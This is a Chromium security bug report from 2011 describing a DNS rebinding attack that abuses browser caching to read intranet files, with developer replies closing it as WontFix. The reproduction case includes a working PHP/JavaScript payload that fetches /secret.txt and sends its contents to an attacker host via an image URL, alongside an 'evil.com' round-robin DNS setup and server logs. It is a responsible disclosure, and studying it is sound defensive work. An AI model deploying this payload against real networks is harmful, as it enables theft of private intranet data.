New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 98357 link

Starred by 8 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Sep 2011
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 0
Type: Bug-Security

Restricted
  • Only users with Commit permission may comment.



Sign in to add a comment

Security: browser dns rebinding attack using cached resources

Reported by alok.men...@gmail.com, Sep 28 2011

Issue description

VULNERABILITY DETAILS
Browsers implement their own dns cache to prevent an attack known as dns rebinding. I have found a way to circumvent this protection using cached resources. I believe this bug exists in all browsers, and can be exploited to access files on an intranet or localhost across firewall boundaries.

VERSION
Chrome Version: tested on [14.0.835.186], but probably all versions are affected.
Operating System: tested on [Mac OS 10.8], but probably all OS are affected.

REPRODUCTION CASE
User A owns an IP address 1.2.3.4. User B has access to an intranet on 10.0.0.x. Let's imagine for simplicity sake that user A knows about a secret file hosted on http://10.0.0.1/secret.txt.

1. User A sets up a dns server (e.g. evil.com), which uses a round robin policy to alternate between 1.2.3.4 and 10.0.0.1.

2. User A configures a web server on 1.2.3.4, which serves /sticky using a "aggressive" cache headers. This file contains some javascript which will try to fetch the secret file:

<?php
  // cache this page for a long time
  header('Expires: '.gmdate('D, d M Y H:i:s \G\M\T', time() + 365*24*60*60));
?><html><head></head><body>
<h1>This is a sticky page...</h1>
  <script>
    xhr=new XMLHttpRequest();
    // steal /secret.txt from the localhost
    xhr.open("GET", "/secret.txt", false);
    xhr.send();
    // send back the data
    img = new Image();
    img.src = 'http://1.2.3.4/?secret.txt='+xhr.response;
  </script>
</body></html>

3. User A configures his webserver to respond to any non existing file with the string "n/a". User A needs to make sure that such responses do not contain any cache directives.

4. User A gets user B to visit http://evil.com/sticky (an iframe on a popular site would work).

Since /sticky gets cached, the browser will only ever request it once.

When the ajax request for /secret.txt gets fired, the browser will do a
dns resolution (once per browsing session). The first time this happens,
/secret.txt will be fetched from user A's server, no interesting data will be returned. However, on the subsequent browser restart,
/secret.txt could resolve to 10.0.0.1, in which case user A will be able to steal the data from user B's intranet.

(Note: this exploit becomes even more powerful if user A is able to forcefully hang or crash user B's browser).

I was able to successfully exploit this on Chrome 14.0, Firefox 6.0 and
Safari 5.1 (all three on my Mac OS X).

This is what the logs look like on the server side:

** started browser, hit http://mydomain/sticky **
107.37.9.42 - - [27/Sep/2011:11:28:24 -0700] "GET /sticky HTTP/1.1"
200 235
107.37.9.42 - - [27/Sep/2011:11:28:24 -0700] "GET /secret.txt HTTP/1.1"
200 3
107.37.9.42 - - [27/Sep/2011:11:28:25 -0700] "GET /?secret.txt=n/a
HTTP/1.1" 200 -

** restarted browser, hit http://mydomain/sticky **
107.37.9.42 - - [27/Sep/2011:11:28:39 -0700] "GET /?secret.txt=ChuckNorris
HTTP/1.1" 200 -

A few more notes:

1. The current exploit ends up sending the wrong host headers to the
localhost server. This is something that can be dealt with using raw
sockets. However, the malicious site will not be able to get the cookies
to be sent for the intranet/localhost. This means any internal resource
which requires authentication remains protected.

2. It's unclear what's the best way to solve this issue. Browsers could make an extra dns request when loading data from cache, and
make sure the cross domain policy remains enforced. However, if a domain
name is hosted on multiple ip addresses, doing so would reduce the cache hit rate.

3. This bug exists in all browsers. We should coordinate to make sure all browsers are fixed before disclosing this issue publicly.

Feel free to contact me at alok@fb.com or at 650-353 85 28.

Alok
 

Comment 1 by jsc...@chromium.org, Sep 28 2011

Cc: abarth@chromium.org
@abarth - Didn't you and Colin Jackson cover this vector a few years ago when you did the presentations and paper on DNS rebinding? Because I swear I've seen this before, and the proposed solution was something like pinning cached files to IP + URL. However, I'm not sure if anyone ever implemented it in a browser.

Comment 2 by abarth@chromium.org, Sep 28 2011

Status: WontFix
Pinning is not an effective defense against DNS rebinding.  The server can defend itself using the Host header.  For more details, please see this paper:

http://www.adambarth.com/papers/2009/jackson-barth-bortz-shao-boneh-tweb.pdf
I'm unsure if the server checking the host header is safe. I'm currently looking at using flash, java or js web sockets to send a custom host header.
You are right, collin's paper did mention cached scripts on page 9:

"Cache. The browser’s cache and all plug-in caches must be modified to prevent rebinding attacks[...]"

Labels: -Restrict-View-SecurityTeam -Area-Undefined Area-Internals
Project Member

Comment 6 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 7 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-Internals Cr-Internals Type-Bug-Security
Labels: allpublic

Sign in to add a comment